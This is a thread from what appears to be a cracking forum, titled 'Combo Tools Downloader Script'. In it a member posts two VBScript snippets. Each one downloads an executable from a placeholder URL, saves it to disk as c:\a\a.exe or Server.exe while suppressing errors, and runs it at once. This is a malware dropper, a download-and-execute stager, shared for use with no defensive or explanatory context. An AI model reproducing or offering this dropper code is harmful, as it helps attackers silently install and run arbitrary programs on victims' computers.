• 🌙 Community Spirit

    Ramadan Mubarak! To honor this month, Crax has paused NSFW categories. Wishing you peace and growth!

Combo Tools Downloader Script (1 Viewer)

Currently reading:
 Combo Tools Downloader Script (1 Viewer)

Recently searched:

iamdroppe

Member
LV
2
Joined
May 14, 2023
Threads
86
Likes
84
Awards
7
Credits
17,350©
Cash
0$
strFileURL = "URL" strHDLocation = "c:\a\a.exe" Set objXMLHTTP = CreateObject("WinHttp.WinHttpRequest.5.1") objXMLHTTP.Open "GET", strFileURL, False objXMLHTTP.send If objXMLHTTP.Status = 200 Then Set objADOStream = CreateObject("ADODB.Stream") objADOStream.Open objADOStream.Type = 1 objADOStream.Write objXMLHTTP.ResponseBody objADOStream.Position = 0 Set objFSO = CreateObject("Scripting.FileSystemObject") on error resume next objFSO.CreateFolder "C:\a" If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation Set objFSO = Nothing objADOStream.SaveToFile strHDLocation objADOStream.Close Set objADOStream = Nothing End If Set objXMLHTTP = Nothing Dim shell Set shell = CreateObject("WScript.Shell") shell.Run Chr(34) & strHDLocation & Chr(34), 1, false
Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP") objHTTP.Open "GET", "URL", False objHTTP.Send If objHTTP.Status = 200 Then Set objStream = CreateObject("ADODB.Stream") objStream.Open objStream.Type = 1 objStream.Write objHTTP.ResponseBody objStream.SaveToFile "Server.exe", 2 objStream.Close CreateObject("Wscript.Shell").Run "Server.exe" End If

Screenshot 1
 

Create an account or login to comment

You must be a member in order to leave a comment

Create account

Create an account on our community. It's easy!

Log in

Already have an account? Log in here.

Tips
Recently searched:

Similar threads

Users who are viewing this thread

Top Bottom